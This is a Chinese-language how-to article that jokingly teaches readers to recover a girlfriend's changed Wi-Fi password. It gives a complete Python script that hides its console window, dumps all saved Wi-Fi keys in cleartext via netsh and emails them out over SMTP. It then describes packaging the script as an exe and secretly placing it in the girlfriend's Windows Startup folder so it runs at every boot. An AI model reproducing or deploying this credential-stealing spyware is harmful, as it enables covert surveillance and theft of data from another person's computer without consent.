女朋友賭氣把WIFI密碼改了?學會這招分分鐘拿到新密碼

和女朋友吵架了,她一氣之下把WIFI密碼改了。雖說現在手機流量已是白菜價,只看看新聞,玩玩手機遊戲還行,但若是下載幾個G的軟件或看部電影,那再多的流量也不夠你用。今天就教大家一個一勞永逸的辦法,不需要暴力破解,在WIFI密碼被改的情況下分分鐘重新連上家裡的無線網。

第一步,用Python編寫密碼發送程序

先上代碼:

------

#coding:utf-8

import os

import re

import smtplib

from email.mime.text import MIMEText

from email.header import Header

import win32api, win32gui

#程序運行的瞬間cmd窗口一閃即關,增強隱蔽性

ct = win32api.GetConsoleTitle()

hd = win32gui.FindWindow(0,ct)

win32gui.ShowWindow(hd,0)

#讀取本機WIFI信息

a=os.popen('netsh wlan show profiles')

b=a.read()

c=re.findall('所有用戶配置文件 : (.*?)\n',b,re.S)

s=""

for i in c:

a=os.popen('netsh wlan show profiles '+i+' key=clear')

b=a.read()

c=re.findall('關鍵內容 : (.*?)\n\n費用設置',b,re.S)

for ii in c:

s=s+"WIFI名稱:"+str(i)+" "+"WIFI密碼:"+str(ii)+'\n'

#將wifi信息發送到指定郵箱

message = MIMEText(s, 'plain', 'utf-8')

mailname="xxx" #發送和接收的郵箱地址,這裡設為同一個

message['Subject'] = Header("WIFI賬號信息", 'utf-8')

try:

smtpObj = smtplib.SMTP()

smtpObj.connect("smtp.xxx.com", 25) #smtp服務器地址

smtpObj.login("xxx","xxx") #郵箱發送方的賬號和密碼

smtpObj.sendmail(mailname, mailname, message.as_string())

print("郵件發送成功")

exit(0)

except smtplib.SMTPException:

print(" 郵件發送失敗")

exit(1)

------

代碼就不分析了,只說個大概的思路。先讀取本機的WIFI賬號和密碼,然後將讀取到的信息發送到指定郵箱。

收到的郵件內容示例:

WIFI名稱:xiaoli WIFI密碼:xxxxxx
WIFI名稱:jack WIFI密碼:xxxxxx
……

第二步,將編寫完的Python程序打包成exe可執行文件

1.安裝pyinstaller包

2.打開命令控制檯,定位到Python程序所在的目錄

3.輸入: pyinstaller -F Python文件名,開始打包

4.打包完成後,在剛才的目錄下找到dist文件夾,把裡面的exe文件拷出來

第三步,打開女朋友電腦,將exe文件拷到Windows啟動目錄(Win10啟動目錄一般是C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp),結束。

以後每次女朋友啟動電腦你就可以在郵箱收到最新的WiFI密碼啦。

學會了嗎?不過,首先你得有個女朋友,其次,這招只是個下策,趕緊和女朋友和好吧。

------

注:運行exe文件的操作系統必須是win10,若是win7可能讀不到WIFI密碼。

------


分享到:


相關文章: